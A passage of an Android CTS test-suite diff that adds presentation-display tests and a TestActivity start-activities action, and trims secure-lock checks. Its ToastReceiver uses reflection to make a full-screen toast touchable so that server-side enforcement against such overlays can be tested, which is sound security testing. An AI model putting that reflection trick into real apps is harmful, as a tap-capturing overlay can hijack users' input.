public static final ComponentName PIP_ACTIVITY = component("PipActivity");
public static final ComponentName PIP_ACTIVITY2 = component("PipActivity2");
public static final ComponentName PIP_ACTIVITY_WITH_SAME_AFFINITY =
@@ -149,8 +150,11 @@
// Finishes the activity
public static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
"android.server.am.TestActivity.finish_self";
+ public static final String TEST_ACTIVITY_ACTION_START_ACTIVITIES =
+ "android.server.am.TestActivity.start_activities";
// Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
public static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+ public static final String EXTRA_INTENTS = "intents";
}
/**
@@ -328,12 +332,17 @@
public static final String KEY_LAUNCH_TARGET_COMPONENT = "launch_target_component";
public static final String KEY_PUBLIC_DISPLAY = "public_display";
public static final String KEY_RESIZE_DISPLAY = "resize_display";
+ public static final String KEY_PRESENTATION_DISPLAY = "presentation_display";
// Value constants of {@link #KEY_COMMAND}.
public static final String COMMAND_CREATE_DISPLAY = "create_display";
public static final String COMMAND_DESTROY_DISPLAY = "destroy_display";
public static final String COMMAND_RESIZE_DISPLAY = "resize_display";
}
+ public static class PresentationActivity {
+ public static final String KEY_DISPLAY_ID = "display_id";
+ }
+
private static ComponentName component(String className) {
return component(Components.class, className);
}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PresentationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PresentationActivity.java
new file mode 100644
index 0000000..0036aaf
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PresentationActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.Presentation;
+import android.graphics.Color;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.Display;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+public class PresentationActivity extends Activity {
+
+ private static final String TAG = PresentationActivity.class.getSimpleName();
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ int displayId = getIntent().getExtras().getInt(
+ Components.PresentationActivity.KEY_DISPLAY_ID);
+
+ Display presentationDisplay =
+ getSystemService(DisplayManager.class).getDisplay(displayId);
+
+ createPresentationWindow(presentationDisplay);
+ }
+
+ private void createPresentationWindow(Display display) {
+ final TextView view = new TextView(this);
+ view.setText("I'm a presentation");
+ view.setGravity(Gravity.CENTER);
+ view.setBackgroundColor(Color.RED);
+
+ final Presentation presentation = new Presentation(this, display);
+ presentation.setContentView(view);
+ presentation.setTitle(getPackageName());
+ try {
+ presentation.show();
+ } catch (WindowManager.InvalidDisplayException e) {
+ Log.w(TAG, "Presentation blocked", e);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ToastReceiver.java b/tests/framework/base/activitymanager/app/src/android/server/am/ToastReceiver.java
new file mode 100644
index 0000000..3d6831f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ToastReceiver.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Field;
+
+public class ToastReceiver extends BroadcastReceiver {
+ public static final String ACTION_TOAST_DISPLAYED = "toast_displayed";
+ public static final String ACTION_TOAST_TAP_DETECTED = "toast_tap_detected";
+ private static final int DETECT_TOAST_TIMEOUT_MS = 15000;
+ private static final int DETECT_TOAST_POOLING_INTERVAL_MS = 200;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Handler handler = new Handler();
+ Toast toast = getToast(context);
+ long deadline = SystemClock.uptimeMillis() + DETECT_TOAST_TIMEOUT_MS;
+ handler.post(
+ new DetectToastRunnable(
+ context.getApplicationContext(), toast.getView(), deadline, handler));
+ toast.show();
+ }
+
+ private Toast getToast(Context context) {
+ Context applicationContext = context.getApplicationContext();
+ View view = LayoutInflater.from(context).inflate(R.layout.toast, null);
+ view.setOnTouchListener((v, event) -> {
+ applicationContext.sendBroadcast(new Intent(ACTION_TOAST_TAP_DETECTED));
+ return false;
+ });
+ Toast toast = getClickableToast(context);
+ toast.setView(view);
+ toast.setGravity(Gravity.FILL_HORIZONTAL | Gravity.FILL_VERTICAL, 0, 0);
+ toast.setDuration(Toast.LENGTH_LONG);
+ return toast;
+ }
+
+ /**
+ * Purposely creating a toast without FLAG_NOT_TOUCHABLE in the client-side (via reflection) to
+ * test enforcement on the server-side.
+ */
+ private Toast getClickableToast(Context context) {
+ try {
+ Toast toast = new Toast(context);
+ Field tnField = Toast.class.getDeclaredField("mTN");
+ tnField.setAccessible(true);
+ Object tnObject = tnField.get(toast);
+ Field paramsField = Class.forName(
+ Toast.class.getCanonicalName() + "$TN").getDeclaredField("mParams");
+ paramsField.setAccessible(true);
+ LayoutParams params = (LayoutParams) paramsField.get(tnObject);
+ params.flags = LayoutParams.FLAG_KEEP_SCREEN_ON | LayoutParams.FLAG_NOT_FOCUSABLE;
+ return toast;
+ } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
+ throw new IllegalStateException("Toast reflection failed", e);
+ }
+ }
+
+ private static class DetectToastRunnable implements Runnable {
+ private final Context mContext;
+ private final WeakReference<View> mToastViewRef;
+ private final long mDeadline;
+ private final Handler mHandler;
+
+ private DetectToastRunnable(
+ Context applicationContext, View toastView, long deadline, Handler handler) {
+ mContext = applicationContext;
+ mToastViewRef = new WeakReference<>(toastView);
+ mDeadline = deadline;
+ mHandler = handler;
+ }
+
+ @Override
+ public void run() {
+ View toastView = mToastViewRef.get();
+ if (SystemClock.uptimeMillis() > mDeadline || toastView == null) {
+ return;
+ }
+ if (toastView.getParent() != null) {
+ mContext.sendBroadcast(new Intent(ACTION_TOAST_DISPLAYED));
+ return;
+ }
+ mHandler.postDelayed(this, DETECT_TOAST_POOLING_INTERVAL_MS);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
index 8b1cdb1..2d02733 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
@@ -17,6 +17,7 @@
package android.server.am;
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
import static android.server.am.ActivityLauncher.KEY_DISPLAY_ID;
import static android.server.am.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
@@ -30,6 +31,7 @@
import static android.server.am.Components.VirtualDisplayActivity.KEY_COUNT;
import static android.server.am.Components.VirtualDisplayActivity.KEY_DENSITY_DPI;
import static android.server.am.Components.VirtualDisplayActivity.KEY_LAUNCH_TARGET_COMPONENT;
+import static android.server.am.Components.VirtualDisplayActivity.KEY_PRESENTATION_DISPLAY;
import static android.server.am.Components.VirtualDisplayActivity.KEY_PUBLIC_DISPLAY;
import static android.server.am.Components.VirtualDisplayActivity.KEY_RESIZE_DISPLAY;
import static android.server.am.Components.VirtualDisplayActivity.VIRTUAL_DISPLAY_PREFIX;
@@ -185,6 +187,11 @@
flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
}
+ final boolean presentationDisplay = entry.extras.getBoolean(KEY_PRESENTATION_DISPLAY);
+ if (presentationDisplay) {
+ flags |= VIRTUAL_DISPLAY_FLAG_PRESENTATION;
+ }
+
Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
+ densityDpi + ", canShowWithInsecureKeyguard=" + canShowWithInsecureKeyguard
+ ", publicDisplay=" + publicDisplay);
diff --git a/tests/framework/base/activitymanager/app_base/src/android/server/am/TestActivity.java b/tests/framework/base/activitymanager/app_base/src/android/server/am/TestActivity.java
index 1dbc81d..15fcf57 100644
--- a/tests/framework/base/activitymanager/app_base/src/android/server/am/TestActivity.java
+++ b/tests/framework/base/activitymanager/app_base/src/android/server/am/TestActivity.java
@@ -16,8 +16,10 @@
package android.server.am;
-import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
import static android.server.am.Components.TestActivity.EXTRA_FIXED_ORIENTATION;
+import static android.server.am.Components.TestActivity.EXTRA_INTENTS;
+import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
+import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_START_ACTIVITIES;
import android.content.BroadcastReceiver;
import android.content.Context;
@@ -25,14 +27,21 @@
import android.content.IntentFilter;
import android.content.res.Configuration;
import android.os.Bundle;
+import android.os.Parcelable;
+
+import java.util.Arrays;
public class TestActivity extends AbstractLifecycleLogActivity {
private BroadcastReceiver mReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- if (intent != null && TEST_ACTIVITY_ACTION_FINISH_SELF.equals(intent.getAction())) {
+ final String action = intent.getAction();
+ if (TEST_ACTIVITY_ACTION_FINISH_SELF.equals(action)) {
finish();
+ } else if (TEST_ACTIVITY_ACTION_START_ACTIVITIES.equals(action)) {
+ final Parcelable[] intents = intent.getParcelableArrayExtra(EXTRA_INTENTS);
+ startActivities(Arrays.copyOf(intents, intents.length, Intent[].class));
}
}
};
@@ -51,7 +60,10 @@
@Override
protected void onStart() {
super.onStart();
- registerReceiver(mReceiver, new IntentFilter(TEST_ACTIVITY_ACTION_FINISH_SELF));
+ final IntentFilter intentFilter = new IntentFilter();
+ intentFilter.addAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
+ intentFilter.addAction(TEST_ACTIVITY_ACTION_START_ACTIVITIES);
+ registerReceiver(mReceiver, intentFilter);
}
@Override
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index 87d71b4..09eae84 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -50,6 +50,7 @@
import static android.server.am.Components.TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY;
import static android.server.am.Components.TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY;
import static android.server.am.UiDeviceUtils.pressBackButton;
+import static android.server.am.VirtualDisplayHelper.waitForDefaultDisplayState;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
@@ -176,9 +177,6 @@
@Presubmit
@Test
public void testTurnScreenOnActivity() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.sleepDevice();
launchActivity(TURN_SCREEN_ON_ACTIVITY);
@@ -241,8 +239,6 @@
// Launch a different activity on top.
launchActivity(BROADCAST_RECEIVER_ACTIVITY);
mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
- // Wait for transition complete.
- mAmWmState.waitForValidState(MOVE_TASK_TO_BACK_ACTIVITY);
final boolean shouldBeVisible =
!mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
@@ -369,9 +365,6 @@
@Test
public void testTurnScreenOnAttrNoLockScreen() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.disableLockScreen()
.sleepDevice();
@@ -403,9 +396,6 @@
@Test
public void testTurnScreenOnShowOnLockAttr() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.sleepDevice();
mAmWmState.waitForAllStoppedActivities();
@@ -419,9 +409,6 @@
@Test
public void testTurnScreenOnAttrRemove() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.sleepDevice();
mAmWmState.waitForAllStoppedActivities();
@@ -444,9 +431,6 @@
@Test
@Presubmit
public void testTurnScreenOnSingleTask() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.sleepDevice();
LogSeparator logSeparator = separateLogs();
@@ -461,9 +445,7 @@
mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
// Wait more for display state change since turning the display ON may take longer
// and reported after the activity launch.
- mAmWmState.waitFor(
- "***Waiting for display to turn on...",
- ()->{ return isDisplayOn(); });
+ waitForDefaultDisplayState(true /* wantOn */);
assertTrue("Display turns on", isDisplayOn());
assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, logSeparator);
}
@@ -471,9 +453,6 @@
@Test
public void testTurnScreenOnActivity_withRelayout() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.sleepDevice();
launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
index cab0879..329fa31 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
@@ -77,9 +77,8 @@
// Test warm start
pressHomeButton();
- mAmWmState.waitForHomeActivityVisible();
startActivityAndVerifyResult(entryActivity, actualActivity, false);
- mAmWmState.waitForValidState(actualActivity);
+
// Test "hot" start (app already in front)
startActivityAndVerifyResult(entryActivity, actualActivity, false);
}
@@ -89,8 +88,6 @@
// See TODO below
// final LogSeparator logSeparator = separateLogs();
- mAmWmState.waitForAppTransitionIdle();
-
// Pass in different data only when cold starting. This is to make the intent
// different in subsequent warm/hot launches, so that the entrypoint alias
// activity is always started, but the actual activity is not started again
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
index a82ae2d..77ba78d 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
@@ -28,6 +28,7 @@
import static android.server.am.Components.VirtualDisplayActivity.KEY_COUNT;
import static android.server.am.Components.VirtualDisplayActivity.KEY_DENSITY_DPI;
import static android.server.am.Components.VirtualDisplayActivity.KEY_LAUNCH_TARGET_COMPONENT;
+import static android.server.am.Components.VirtualDisplayActivity.KEY_PRESENTATION_DISPLAY;
import static android.server.am.Components.VirtualDisplayActivity.KEY_PUBLIC_DISPLAY;
import static android.server.am.Components.VirtualDisplayActivity.KEY_RESIZE_DISPLAY;
import static android.server.am.Components.VirtualDisplayActivity.VIRTUAL_DISPLAY_PREFIX;
@@ -212,6 +213,7 @@
private boolean mCanShowWithInsecureKeyguard = false;
private boolean mPublicDisplay = false;
private boolean mResizeDisplay = true;
+ private boolean mPresentationDisplay = false;
private ComponentName mLaunchActivity = null;
private boolean mSimulateDisplay = false;
private boolean mMustBeCreated = true;
@@ -245,6 +247,11 @@
return this;
}
+ VirtualDisplaySession setPresentationDisplay(boolean presentationDisplay) {
+ mPresentationDisplay = presentationDisplay;
+ return this;
+ }
+
VirtualDisplaySession setLaunchActivity(ComponentName launchActivity) {
mLaunchActivity = launchActivity;
return this;
@@ -353,7 +360,8 @@
.append(" --ez " + KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD + " ")
.append(mCanShowWithInsecureKeyguard)
.append(" --ez " + KEY_PUBLIC_DISPLAY + " ").append(mPublicDisplay)
- .append(" --ez " + KEY_RESIZE_DISPLAY + " ").append(mResizeDisplay);
+ .append(" --ez " + KEY_RESIZE_DISPLAY + " ").append(mResizeDisplay)
+ .append(" --ez " + KEY_PRESENTATION_DISPLAY + " ").append(mPresentationDisplay);
if (mLaunchActivity != null) {
createVirtualDisplayCommand
.append(" --es " + KEY_LAUNCH_TARGET_COMPONENT + " ")
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
index 17fcfb9..4bef8fe 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
@@ -116,9 +116,6 @@
@Presubmit
@Test
public void testForceDisplayMetrics() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
launchHomeActivity();
try (final DisplayMetricsSession displayMetricsSession = new DisplayMetricsSession();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
index 615a442..b491a9f 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
@@ -35,14 +35,10 @@
import android.graphics.Rect;
import android.server.am.WindowManagerState.Display;
import android.server.am.WindowManagerState.WindowState;
-import androidx.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
import org.junit.Test;
import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
/**
* Build/Install/Run:
@@ -99,38 +95,7 @@
public void testMinimalSizeDocked() throws Exception {
assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
- // We are allowed to set device density to anything different than default,
- // however, the way we realize is to set a new property to overlay it,
- // so mDisplay.getDpi() cannot get our real density, now we will run command
- // automatically switch to native density before the test excecutes and restore later.
- UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- int density = 0;
- try {
- density = resetDensityIfNeeded(uiDevice);
-
- testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-
- } finally {
- restoreDensityIfNeeded(uiDevice, density);
- }
- }
-
- private int resetDensityIfNeeded(UiDevice device) throws Exception {
- final String output = device.executeShellCommand("wm density");
- final Pattern p = Pattern.compile("Override density: (\\d+)");
- final Matcher m = p.matcher(output);
- if (m.find()) {
- device.executeShellCommand("wm density reset");
- int restoreDensity = Integer.parseInt(m.group(1));
- return restoreDensity;
- }
- return -1;
- }
-
- private void restoreDensityIfNeeded(UiDevice device, int restoreDensity) throws Exception {
- if (restoreDensity > 0) {
- device.executeShellCommand("wm density " + restoreDensity);
- }
+ testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
}
private void testMinimalSize(int windowingMode) throws Exception {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index 7fa68fd..c342a5a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
@@ -803,10 +803,6 @@
*/
@Test
public void testStackFocusSwitchOnStackEmptied() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
-
try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
final LockScreenSession lockScreenSession = new LockScreenSession()) {
// Create new virtual display.
@@ -1660,9 +1656,6 @@
*/
@Test
public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
// Launch something on the primary display so we know there is a resumed activity there
launchActivity(RESIZEABLE_ACTIVITY);
waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
@@ -1735,10 +1728,6 @@
*/
@Test
public void testSecondaryDisplayShowWhenLocked() throws Exception {
- if (!supportsSecureLock()) {
- return;
- }
-
try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession();
final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.setLockCredential();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index 062e103..4dceb4c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -637,14 +637,17 @@
launchActivity(TEST_ACTIVITY);
// Launch an auto pip activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP, "true",
+ EXTRA_REENTER_PIP_ON_EXIT, "true");
waitForEnterPip(PIP_ACTIVITY);
assertPinnedStackExists();
// Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
launchActivity(PIP_ACTIVITY);
- waitForExitPipToFullscreen(PIP_ACTIVITY);
- executeShellCommand("am broadcast -a " + ACTION_ENTER_PIP);
+ mAmWmState.waitForWithAmState(amState ->
+ amState.getFrontStackWindowingMode(DEFAULT_DISPLAY) == WINDOWING_MODE_FULLSCREEN,
+ "Waiting for PIP to exit to fullscreen");
waitForEnterPipAnimationComplete(PIP_ACTIVITY);
mAmWmState.assertVisibility(TEST_ACTIVITY, true);
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
index 655d866..c2f2089 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -492,7 +492,6 @@
TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
pressHomeButton();
mAmWmState.waitForHomeActivityVisible();
- mAmWmState.waitForAppTransitionIdle();
assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
}
@@ -520,8 +519,6 @@
lockScreenSession.sleepDevice()
.wakeUpDevice()
.unlockDevice();
- pressHomeButton();
- mAmWmState.waitForHomeActivityVisible();
mAmWmState.computeState(TEST_ACTIVITY);
assertDockMinimized();
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
index 0a99cc5..5d2d82b 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
@@ -170,11 +170,7 @@
lockScreenSession.setLockCredential().sleepDevice();
mAmWmState.computeState(true);
- if (!isWatch()) {
- // On P watches, keyguard windows are only shown while in interactive to allow
- // SysUI implementation to show in ambient mode.
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- }
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
launchActivity(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
mAmWmState.waitForKeyguardShowingAndNotOccluded();
mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, false);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/PresentationTest.java b/tests/framework/base/activitymanager/src/android/server/am/PresentationTest.java
new file mode 100644
index 0000000..35d27bd
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/PresentationTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Intent;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.Presubmit;
+import android.server.am.Components;
+import android.server.am.ActivityManagerState.ActivityDisplay;
+import android.view.Display;
+
+import org.junit.Test;
+
+import java.util.List;
+
+@Presubmit
+public class PresentationTest extends ActivityManagerDisplayTestBase {
+
+ // WindowManager.LayoutParams.TYPE_PRESENTATION
+ private static final int TYPE_PRESENTATION = 2037;
+
+ @Test
+ public void testPresentationFollowsDisplayFlag() {
+ DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+ for (Display display : displayManager.getDisplays()) {
+ launchPresentationActivity(display.getDisplayId());
+ if ((display.getFlags() & Display.FLAG_PRESENTATION) != Display.FLAG_PRESENTATION) {
+ assertNoPresentationDisplayed();
+ } else {
+ assertPresentationOnDisplay(display.getDisplayId());
+ }
+ }
+ }
+
+ @Test
+ public void testPresentationAllowedOnPresentationDisplay() throws Exception {
+ try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+ ActivityManagerState.ActivityDisplay display =
+ virtualDisplaySession
+ .setPresentationDisplay(true)
+ .setPublicDisplay(true)
+ .createDisplay();
+
+ launchPresentationActivity(display.mId);
+ assertPresentationOnDisplay(display.mId);
+ }
+ }
+
+ @Test
+ public void testPresentationBlockedOnNonPresentationDisplay() throws Exception {
+ try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+ ActivityManagerState.ActivityDisplay display =
+ virtualDisplaySession
+ .setPresentationDisplay(false)
+ .createDisplay();
+
+ launchPresentationActivity(display.mId);
+ assertNoPresentationDisplayed();
+ }
+ }
+
+ private void assertNoPresentationDisplayed() {
+ final List<WindowManagerState.WindowState> presentationWindows =
+ mAmWmState.getWmState()
+ .getWindowsByPackageName(
+ Components.PRESENTATION_ACTIVITY.getPackageName(),
+ TYPE_PRESENTATION);
+ assertTrue(presentationWindows.isEmpty());
+ }
+
+ private void assertPresentationOnDisplay(int displayId) {
+ final List<WindowManagerState.WindowState> presentationWindows =
+ mAmWmState.getWmState()
+ .getWindowsByPackageName(
+ Components.PRESENTATION_ACTIVITY.getPackageName(),
+ TYPE_PRESENTATION);
+ assertEquals(presentationWindows.size(), 1);
+ WindowManagerState.WindowState presentationWindowState = presentationWindows.get(0);
+ assertEquals(presentationWindowState.getDisplayId(), displayId);
+ }
+
+ private void launchPresentationActivity(int displayId) {
+ Intent intent = new Intent();
+ intent.setComponent(Components.PRESENTATION_ACTIVITY);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(Components.PresentationActivity.KEY_DISPLAY_ID, displayId);
+ mContext.startActivity(intent);
+ waitAndAssertTopResumedActivity(
+ Components.PRESENTATION_ACTIVITY,
+ Display.DEFAULT_DISPLAY,
+ "Launched activity must be on top");
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java b/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
index 022bdba..b5597cc 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
@@ -16,12 +16,20 @@
package android.server.am;
+import static android.server.am.Components.LAUNCHING_ACTIVITY;
+import static android.server.am.Components.NO_RELAUNCH_ACTIVITY;
import static android.server.am.Components.TEST_ACTIVITY;
+import static android.server.am.Components.TestActivity.EXTRA_INTENTS;
+import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_START_ACTIVITIES;
import static android.server.am.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
+import static android.server.am.second.Components.SECOND_ACTIVITY;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import android.app.Activity;
+import android.content.Intent;
import android.platform.test.annotations.Presubmit;
